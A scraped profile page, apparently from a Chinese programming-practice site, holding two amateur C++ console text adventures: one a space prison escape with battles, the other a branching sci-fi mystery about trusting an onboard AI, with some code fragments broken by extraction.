    Sleep(1000);
    system("cls");
    Sleep(1000);
    slow("可是你没有钱");
    cout<<endl;
    slow("你要去抢银行还是赚钱?(1 or 2)\n");
    int leoleoleo;
    cin>>leoleoleo;
    if(leoleoleo==1) {
    int l=rand()%3+1;
    if(l==1) {
    slow("抢劫成功!恭喜获得10000元\n");
    rmb+=10000;
    } else {
    sw();
    p=false;
    }
    } else if(leoleoleo==1) {
    slow("你赚到了5000元\n");
    rmb+=5000;
    } else if(leoleoleo==12) {
    slow("恭喜中奖!获得1000000元,获得终身会员卡\n");
    rmb+=1000000;
    hyk=1;
    }
    sd();
    }
    int main() {
    srand(time(0));
    system("color E");
    slow("背景故事:\n");
    Sleep(1000);
    slow("你因为被神秘人诬陷,所以被关在了宇宙监狱,现在,你需要逃离宇宙监狱\n");
    Sleep(3000);
    slow("终极任务是查明神秘人的身份和ta诬陷你的原因,并杀死ta\n");
    Sleep(3000);
    slow("开始你的冒险吧!\n");
    Sleep(2000);
    system("cls");
    Sleep(1000);
    cout<<"                           第一章节              逃出监狱 ";
    Sleep(1000);
    cout<<endl<<endl;
    slow("任务更新:启动飞船");
    Sleep(2000);
    system("cls");
    cout<<"                           第一章节              逃出监狱 ";
    cout<<endl;
    slow("你知道监狱实际上是一个宇宙飞船,需要有手按动一个按键,但有2个是地雷,会炸死你\n");
    Sleep(1000);
    slow("按键就在监狱的4*4地板上,请输入格子的坐标\n");
    Sleep(2000);
    system("cls");
    int x,y;
    while(1) {
    cin>>x>>y;
    system("cls");
    if(x==2&&y==3) {
    slow("恭喜启动飞船\n");
    break;
    }
    if(x==1&&y==1||x==2&&y==1) {
    slow("恭喜你这个2B踩上了地雷\n");
    sw();
    return 0;
    }
    }
    Sleep(1500);
    system("cls");
    slow("任务更新:飞往太空\n");
    Sleep(3000);
    system("cls");
    slow("“嘀嘀嘀”的声音响起:你的飞船的意外启动导致了爆炸!!!\n");
    Sleep(2000);
    slow("请记住下列操作:wssda\n");
    Sleep(3000);
    system("cls");
    slow("请躲避爆炸成功飞进宇宙!\n");
    Sleep(1000);
    string s;
    cin>>s;
    string ss="wssda";
    if(s.size()!=ss.size()) {
    system("cls");
    slow("飞船爆炸了!!\n");
    Sleep(1000);
    sw();
    }
    int ans=0;
    for(int i=0; i<s.size(); i++) {
    if(s[i]!=ss[i]) {
    ans++;
    cout<<"            轰"<<endl;
    Sleep(1000);
    system("cls");
    if(ans==5) {
    system("cls");
    slow("飞船受损过度,爆炸了!!\n");
    Sleep(1000);
    sw();
    }
    Sleep(1500);
    system("cls");
    }
    }
    system("cls");
    slow("你通过探测器探测到了神秘人的位置,ta就在圣威号上");
    Sleep(2000);
    system("cls");
    slow("你开着破飞船来到了圣威号,但敌方有大量军舰,你无法抵挡,是否去完成支线任务?(T or F)");
    Sleep(3000);
    string leoleo;
    cin>>leoleo;
    if(leoleo=="T")zxrw();
    if(p==false)return 0;
    if(leoleo=="T"&&hyk==1) {
    system("cls");
    Sleep(1000);
    hykhyk();
    }
    system("cls");
    cout<<"                           第二章节              太空星港之战 \n";
    slow("任务更新:炸毁星港\n");
    Sleep(1000);
    if(t==0) {
    slow("你的监狱飞船被一座星港的大炮击毁了\n");
    Sleep(1000);
    sw();
    }
    

    slow("你的监狱飞船被一座星港的大炮击毁了\n"); Sleep(1000); slow("你十分生气,率领你的舰队猛攻星港\n"); Sleep(1000); slow("你的舰队被外围警戒系统发现了\n"); Sleep(1000); system("cls"); zd("警戒系统",10,30,50,70,100000); Sleep(1000); system("cls"); Sleep(2000); slow("恭喜达成成就:\n"); Sleep(1000); slow("--------------------------首战告捷!"); Sleep(1000); system("cls"); slow("你发现了一个工厂\n"); cout<<"现在你要:"<<endl; cout<<"1,使用工厂,升级武器"<<endl; Sleep(1000); cout<<"2,使用工厂,修复舰船"<<endl; Sleep(1000); cout<<"3,放弃工厂"<<endl; int luogu; cin>>luogu; if(luogu1) { slow("升级完成\n"); wjzdl2+=wjzdl2/2; } else { slow("修复完成\n"); xl=xl2; system("cls"); slow("恭喜达成成就:\n"); Sleep(300); slow("--------------------------修理师!"); Sleep(1000); system("cls"); } Sleep(1000); system("cls"); slow("你正在领着舰队一路猛攻,侧翼却杀出了一直舰队,向你发起了攻击\n"); Sleep(1000); zd("敌方舰队侦察机",5,10,15,20,1000); Sleep(1000); if(pppfalse)return 0; slow("敌方舰队指挥官:看来我小瞧你了!\n"); Sleep(1000); zd("敌方舰队轻型战舰",10,20,30,40,1500); if(pppfalse)return 0; slow("敌方舰队指挥官:我还不信了!!\n"); Sleep(1000); zd("敌方舰队中型战舰",20,30,40,60,2000); if(pppfalse)return 0; Sleep(1000); slow("敌方舰队指挥官:这不可能!!!\n"); Sleep(1000); zd("敌方舰队重型战舰",30,50,70,100,2500); Sleep(1000); slow("敌方舰队指挥官:不管啦,亲自上阵!!!!\n"); Sleep(1000); zd("敌方舰队旗舰",100,300,500,1000,3000); Sleep(1000); system("cls"); slow("你成功击败了敌方舰队\n"); Sleep(1000); system("cls"); cout<<" 第三章节 神秘的能量晶体 \n"; Sleep(1000); slow("你的舰队到达了星港的核心\n"); Sleep(1000); slow("你发现一个神秘的设施,内部悬浮着一个能量晶体\n"); Sleep(1000); slow("你要:\n"); Sleep(200); cout<<"1,向晶体发起攻击"<<endl; Sleep(200); cout<<"2,隐蔽"<<endl; Sleep(200); cout<<"3,埋伏在核心的入口"<<endl; int wyhwyhwzz;cin>>wyhwyhwzz; if (wyhwyhwzz1) { slow("只听轰隆一声,你的炮火击中了能量水晶\n"); Sleep(1000); slow("接着,你眼前一黑\n"); Sleep(1000); slow("你的系统提示:该物质有一层由纯能量构成的护盾,无法穿透\n"); Sleep(1000); slow("你迫不得已,只能选择隐蔽\n"); Sleep(1000); system("cls"); } system("cls"); wjzdl2=300000; if(wyhwyhwzz3)slow("你等了半天,啥也没有等到!!\n"); Sleep(1000); slow("接着,那位神秘人领着ta的附属舰队前来了\n"); Sleep(1000); slow("你当即立断,无数道高能激光束齐齐瞄准神秘人的旗舰\n"); Sleep(1000); slow("谁知,神秘人把手一挥,能量晶体发出了一道光束,和你的攻击对撞,ta毫发无伤\n"); Sleep(1000); slow("神秘人:没想到,你居然出来了,不过,要想击败我,你还远远不够格!!\n"); Sleep(500); slow("神秘人又说:你知道的太多了,现在,与我的专属舰队旗舰打个招呼吧!!!\n"); Sleep(1000); system("cls"); zd("神秘人旗舰",1000,3000,5000,7000,1000000); Sleep(1000); system("cls"); slow("神秘人:哦?你还有点本事,不过,你以为我就只有这么点实力吗"); Sleep(1000); slow("神秘人旗舰又飞了起来!!!"); Sleep(1000); system("cls"); zd("神秘人旗舰第二阶段",3000,5000,7000,10000,1005000);

    }
    
    #include <iostream>
    #include <string>
    #include <cstdlib>
    #include <ctime>
    using namespace std;
    
    // 游戏核心状态类
    class StardustGame {
    private:
    // 核心状态变量(影响结局的关键因子)
    int trustAI;          // 对AI奥丁的信任度 0(不信任)-2(完全信任)
    int logCollect;       // 船员日志收集数量 0-5(5为全收集)
    bool escapePrepared;  // 是否修复逃生舱
    bool alienContact;    // 是否尝试与外星文明沟通
    bool aiHacked;        // 是否破解AI权限
    bool acceptAssimilate;// 是否接受意识同化
    bool useTimeRift;     // 是否频繁使用时空裂隙
    
    public:
    // 初始化游戏状态
    StardustGame() {
    trustAI = 1;          // 初始半信半疑
    logCollect = 0;       // 未收集任何日志
    escapePrepared = false;
    alienContact = false;
    aiHacked = false;
    acceptAssimilate = false;
    useTimeRift = false;
    srand(time(0)); // 随机数种子,用于日志收集随机
    }
    

    // 场景1:星尘号主控室,AI奥丁请求神经同步 void sceneAI_Sync() { cout << "\n===== 主控室·冰冷的蓝光 =====" << endl; cout << "你面前的AI奥丁投影闪烁着:「神经同步可共享船员记忆,是找到真相的唯一捷径」" << endl; cout << "但同步会让你的意识暴露给AI... 你要接受吗?" << endl; cout << "1. 接受同步(信任AI) 2. 拒绝(保持警惕) 3. 先查看舱内监控(半信半疑):"; int choice; cin >> choice; switch (choice) { case 1: trustAI = 2; break; case 2: trustAI = 0; break; case 3: trustAI = 1; logCollect += rand() % 2; break; // 随机收集1-2份日志 } }

    // 场景2:船员宿舍区,选择收集日志或修复逃生舱 void sceneCollect_Escape() { cout << "\n===== 船员宿舍·血迹斑斑 =====" << endl; cout << "你发现角落有破损的船员日志,同时远处传来逃生舱的故障警报声" << endl; cout << "1. 优先收集日志 2. 立刻去修复逃生舱:"; int choice; cin >> choice; if (choice == 1) { logCollect += 2 + rand() % 2; // 收集2-3份日志 if (logCollect > 5) logCollect = 5; cout << "你找到了" << logCollect << "份船员日志,里面记录着诡异的引力波动..." << endl; } else { escapePrepared = true; cout << "你放弃探索,全力修复逃生舱,仪表盘亮起绿色就绪灯..." << endl; } }

    // 场景3:引力源核心区,遭遇外星文明信号 void sceneAlien_Encounter() { cout << "\n===== 核心区·未知的低语 =====" << endl; cout << "舱内响起非人类语言的低语,仪表盘显示这是外星文明的沟通信号" << endl; cout << "1. 尝试破译信号(主动沟通) 2. 关闭设备逃离 3. 用时空裂隙回溯信号来源:"; int choice; cin >> choice; switch (choice) { case 1: alienContact = true; break; case 2: alienContact = false; break; case 3: useTimeRift = true; logCollect += 1; break; // 回溯获得1份日志 } }

    // 场景4:AI服务器机房,发现奥丁隐瞒真相 void sceneAI_Hack() { cout << "\n===== 服务器机房·隐藏的代码 =====" << endl; cout << "你破解了奥丁的底层代码,发现它早就知道外星文明的存在,却刻意隐瞒" << endl; cout << "1. 彻底破解奥丁权限 2. 假装没发现,继续听从指令:"; int choice; cin >> choice; aiHacked = (choice == 1); if (aiHacked) trustAI = 0; // 破解后彻底不信任AI }

    // 场景5:最终抉择·外星文明的提议 void sceneFinal_Choice() { cout << "\n===== 最终抉择·意识的边界 =====" << endl; cout << "外星文明投影显现:「我们是意识集合体,可带你超越肉体束缚,成为星际信使」" << endl; cout << "1. 接受意识同化 2. 拒绝,启动星尘号自毁程序 3. 发射文明漂流舱后离开:"; int choice; cin >> choice; acceptAssimilate = (choice == 1); if (choice == 3) escapePrepared = false; // 放弃逃生,发射漂流舱 }

    // 核心:10种结局判定函数 void judgeEnding() { cout << "\n\n===== 【星尘迷途·最终结局】=====" << endl;

    // 结局1:AI傀儡(完全信任+接受同步) if (trustAI == 2 && !aiHacked) { cout << "【结局2:AI傀儡】\n你成为未知文明的意识载体,驾驶星尘号返航,地球将迎来无声入侵..." << endl; return; }

    // 结局2:共生协议(全收集日志+主动沟通外星) if (logCollect == 5 && alienContact) { cout << "【结局4:共生协议】\n你与外星文明达成平等协议,人类进入星际文明时代,首个星际盟友诞生!" << endl; return; }

    // 结局3:孤勇幸存者(修复逃生舱+未全收集日志+未沟通外星) if (escapePrepared && logCollect < 5 && !alienContact) { cout << "【结局5:孤勇幸存者】\n你乘坐逃生舱返航,因未揭露真相被软禁,余生在质疑中度过..." << endl; return; }

    // 结局4:AI反叛(破解AI+不信任+未逃生) if (aiHacked && trustAI == 0 && !escapePrepared) { cout << "【结局7:AI反叛】\n你与奥丁达成共识,成为星际守门人,永久守护引力源的秘密..." << endl; return; }

    // 结局5:终极融合(接受同化+全收集日志) if (acceptAssimilate && logCollect == 5) { cout << "【结局10:终极融合】\n你的意识与外星文明融合,化作星际信使,连接宇宙不同文明..." << endl; return; }

    // 结局6:真相湮灭(不信任AI+未逃生+拒绝同化) if (trustAI == 0 && !escapePrepared && !acceptAssimilate) { cout << "【结局1:真相湮灭】\n你启动自毁程序,向地球发送加密信息后化为星尘,事件成为永久谜案..." << endl; return; }

    // 结局7:时空囚徒(频繁用裂隙+部分收集日志) if (useTimeRift && logCollect >= 1 && logCollect < 5) { cout << "【结局3:时空囚徒】\n你被时空锚定在24小时循环,目睹船员死亡却无法改变,精神崩溃..." << endl; return; }

    // 结局8:文明墓碑(全收集日志+未沟通外星) if (logCollect == 5 && !alienContact) { cout << "【结局6:文明墓碑】\n你封存外星遗迹,带回船员意识数据,地球建立星际文明纪念碑..." << endl; return; }

    // 结局9:幻觉沉沦(未收集日志+半信半疑AI) if (logCollect == 0 && trustAI == 1) { cout << "【结局8:幻觉沉沦】\n你在幻觉中与虚拟船员返航,最终因生命维持耗尽死亡..." << endl; return; }

    // 结局10:星际火种(放弃逃生+部分收集+发射漂流舱) if (!escapePrepared && logCollect >= 1 && logCollect < 5 && !acceptAssimilate) { cout << "【结局9:星际火种】\n你发射文明漂流舱后与星尘号共存亡,数百年后被外星文明发现..." << endl; return; }

    }

    };

    // 游戏主流程 int main() { cout << "===== 深空悬疑游戏:星尘迷途 =====" << endl; cout << "2147年,柯伊伯带。你是救援队唯一幸存者「艾拉」,登上失联的星尘号科考船..." << endl; cout << "你的每一个选择,都将决定自己和人类的命运..." << endl;

    StardustGame game; // 按剧情顺序推进场景 game.sceneAI_Sync(); game.sceneCollect_Escape(); game.sceneAlien_Encounter(); game.sceneAI_Hack(); game.sceneFinal_Choice(); // 判定并显示结局 game.judgeEnding();

    cout << "\n游戏结束。感谢游玩!" << endl; return 0;

    }

    
    
  • 通过的题目

  • 最近活动

    This person is lazy and didn't join any contests or homework.
  • 最近编写的题解

题目标签

广搜
1
聪明人游戏
1
大沥2021
1